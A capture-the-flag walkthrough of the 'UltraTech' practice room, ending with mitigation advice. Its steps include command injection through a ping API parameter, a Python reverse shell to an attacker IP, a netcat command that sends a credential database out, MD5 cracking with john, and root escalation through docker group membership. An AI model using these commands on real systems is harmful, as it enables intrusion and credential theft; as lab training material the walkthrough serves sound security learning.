🧑‍💻UltraTech

Exploiting an exposed API endpoint and weak password hashes before escalating via docker.

Room

UltraTech

OS

Level

Medium

Link

Reconnaissance

Starting out with the initial port scan for the target host ultratech.thm we find four open ports.

Looks like ftp, ssh and some webserver maybe? We'll determine what services are running on these ports with a more in-depth nmap scan.

sudo nmap -Pn -A ultratech.thm -p21,22,8081,31331 --script=default,vuln

Port 8081 seems to feature Node.js while on port 31331 we find an Apache webserver (v2.4.29). Before we dive into these, we can check for low hanging fruits by attempting anonymous FTP login and looking for information within an SSH banner. However, neither yields anything interesting so we take a closer look on the two higher ports.

Service Enumeration

8081 - Node.js

The nmap scan didn't give us much to work with so we'll have a quick look at the site in a browser before continuing enumeration.

Fair enough, we got some sort of application programming interface. At this point we could start to enumerate available api endpoints with tools like wfuzz or we continue with the webserver and come back to this in case the webserver had nothing to do with it.

31331 - Apache

The website appears to be filled with very little content and offers very little interaction. Besides scrolling and clicking a few buttons there isn't much to investigate. A gobuster scan to find potential backup files and the like seems like a good idea but nmap (with its module http-enum) already showed a few results that we'll cover.

|   /robots.txt: Robots file
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

The contents of robots.txt ultimately lead us to a partners.html which displays a login form. Unfortunately, both an email and a password are required - both of which we don't have.

Navigating through the other directories however, /js stands out. In here we find a file called api.js with an interesting piece of code:

Inside the function checkAPIStatus a GET request is made to ultratech.thm:8081/ping?ip=<window.location.hostname>. When we attempt this request manually we'll quickly see that the server actually attempts to ping the specified ip.

We can now check for command injection by trying different payloads for the ip parameter. Things to try include $() | ; && etc. - but what turns out to work reliably are the backticks `.

Initial Access

Note that all ; will be removed from our input and the standard bash reverse shell didn't seem to work first try. Since which python3 reveals that Python is installed on the target, we can upload a simple reverse shell piece by piece and execute it with the following payloads for the ip parameter (keeping the URL encoding in mind when using curl).

echo "import socket,os,pty" > /tmp/rev
echo "s=socket.socket()" >> /tmp/rev
echo "s.connect(('10.9.249.139',4444))" >> /tmp/rev
echo "[os.dup2(s.fileno(),fd) for fd in (0,1,2)]" >> /tmp/rev
echo "pty.spawn('/bin/sh')" >> /tmp/rev

python3 /tmp/rev

We successfully gained shell access to the server as the www user.

Privilege Escalation

The next step in our way to root is enumeration of the target. Listing the files in our home directory we almost immediately find an sqlite database. Extracting it to our attacker machine with cat utech.db.sqlite | nc 10.9.249.139 5555 (having set up the corresponding listener of course) we can analyse this database in peace.

It doesn't contain much but we do retrieve two users and their respective password hashes. A look into the /etc/passwd reveals that r00t is also a user on the target box so his password could be of special interest to us.

Pasting it into a file called r00t-hash we can analyse it with haiti to find out it's an MD5 hash so we subsequently attempt to crack it with john and rockyou.txt.

└─$ john -w=/usr/share/wordlists/rockyou.txt r00t-hash --format=raw-md5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]          (?)  

We test the password with su r00t and succeed.

We have now successfully escalated our privileges to r00t.

One final step remains though. The output of id shows that we do not have root privileges yet.

Instead, we see that the user r00t is part of the docker group. We can check if there are any docker containers or images on the machine with docker ps and docker images and discover that indeed a docker image called bash exists.

Both GTFOBins and Google can tell us how to exploit this. The idea is simple: we spawn an instance of this container with an interactive shell and mount the root of the host OS to a directory inside the container. Once we spawn a root shell in the container we have access to the entire file system of the host OS with root permissions via that mount.

docker run -v /:/mnt --rm -it bash chroot /mnt bash

We have now successfully compromised the root user. Note that the flag for this box is actually the first few characters of roots SSH key and not this private.txt.

Of course, if we wanted to gain shell access as root on the host OS we could just do chmod +x /mnt/bin/bash and exit the docker container. Then, executing /bin/bash -p will spawn us a privileged shell.

Mitigations

The author of the room gave this description:

This room is inspired from real-life vulnerabilities and misconfigurations I encountered during security assessments.

So what are some of the things that went wrong on this server that could be fixed?

  • The API should not be exposed publicly (if it's not necessary)

  • No matter if exposed or not, the API has severe security issues that should be addressed immediately

    • Do not trust the supplied parameters to always be benign (even on internal networks)

  • Weak passwords, weak hashing algorithm and weak protection of sensitive files

    • The database with important credentials was easily discovered and not protected

    • The password hashes were stored with a rather weak hashing algorithm (MD5)

    • The passwords were too short (<8 characters) and found in a common wordlist

    • Improvements would be: encryption at rest, stronger hashing agorithms (making brute force attacks less feasible), enforcing a stronger password policy

  • Apply principle of least privilege (did r00t have to be part of the docker group?)

Last updated